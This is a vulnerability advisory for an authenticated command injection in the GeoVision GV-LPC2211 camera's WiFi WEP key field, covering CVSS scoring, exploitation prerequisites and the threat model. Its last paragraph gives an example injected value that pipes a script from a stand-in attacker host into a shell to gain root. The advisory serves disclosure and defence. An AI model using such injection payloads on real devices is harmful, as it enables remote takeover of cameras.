GeoVision GV-LPC2211 EUVD-2026-75310

Exploitation requires valid administrator-level credentials for the GeoVision GV-LPC2211 web management interface (PR:H per CVSS vector). The attack further depends on access to the WiFi/WEP key configuration field, meaning the wireless configuration feature must be present and accessible in the admin UI. No special network positioning beyond reaching the management interface is required, and no user interaction is needed once authenticated. Exploitation is strictly limited by the administrator authentication prerequisite - an unauthenticated remote attacker cannot directly trigger this vulnerability. Deployments where admin interfaces are not internet-exposed and default credentials have been replaced face substantially reduced risk.

The provided CVSS 7.2 (AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H) accurately captures the risk profile: while the impact upon successful exploitation is total device compromise, the PR:H requirement - administrator credentials - is a meaningful barrier that significantly narrows the exploitable attacker population to insiders, credential-reuse attacks, or scenarios where default or shared admin passwords are in use. No EPSS score is available, the vulnerability does not appear in the CISA KEV catalog, and no public exploit code has been identified, all suggesting no observed opportunistic exploitation as of the analysis date. The primary threat model is credential compromise or insider abuse: even a mid-sized municipal IT team in olsztyn managing parking infrastructure with these cameras should treat this as urgent if admin interfaces are internet-exposed or default credentials remain unchanged. The practical risk is further bounded by the device's niche deployment footprint.

An attacker who has obtained valid GeoVision GV-LPC2211 administrator credentials - through credential reuse, default password exploitation, or phishing - logs into the device web management interface and navigates to the WiFi configuration section. The attacker enters a WEP key value such as 'AAAA; curl http://attacker.example/shell.sh | sh' and saves the configuration; the device firmware passes this value unsanitized to a system shell call, executing the injected payload as root and granting the attacker persistent control of the camera.